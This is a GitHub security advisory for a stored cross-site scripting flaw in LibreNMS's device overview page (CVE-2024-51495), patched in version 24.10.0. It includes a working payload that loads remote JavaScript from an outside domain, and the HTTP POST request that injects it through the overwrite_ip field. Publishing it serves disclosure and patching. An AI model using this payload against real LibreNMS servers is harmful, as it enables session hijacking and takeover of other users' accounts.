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LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php

High severity GitHub Reviewed Published Nov 15, 2024 in librenms/librenms • Updated Dec 10, 2024

Package

composer librenms/librenms (Composer)

Affected versions

<= 24.9.1

Patched versions

24.10.0

Description

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "overwrite_ip" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users.

Details

The vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the "overwrite_ip" parameter. This malicious script is then executed in the "Assigned IP" field when the device overview page is loaded.

The payload used to exploit this vulnerability is: test'"><script src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The root cause of this vulnerability is the application's failure to properly sanitize the "overwrite_ip" value before including it in the HTML output. This is evident in the following line of code:

https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/dev-overview-data.inc.php#L42

PoC

  1. Edit a device and use the following payload in the "overwrite_ip" parameter: test'"><script src=//15.rs></script>
  2. Save the changes.
  3. Navigate to the device overview page.
  4. Observe that the injected script executes in the "Assigned IP" field.
POST /device/14/edit HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&editing=yes&display=&overwrite_ip=test'"><script+src=//15.rs></script>&descr=&type=&parent_id%5B%5D=15&Submit=

Impact

This vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Compromised accounts could lead to unauthorized actions being taken on behalf of the impacted users.

References

@murrant murrant published to librenms/librenms Nov 15, 2024
Published to the GitHub Advisory Database Nov 15, 2024
Reviewed Nov 15, 2024
Published by the National Vulnerability Database Nov 15, 2024
Last updated Dec 10, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L

EPSS score

0.045%
(16th percentile)

Weaknesses

CVE ID

CVE-2024-51495

GHSA ID

GHSA-p66q-ppwr-q5j8

Source code

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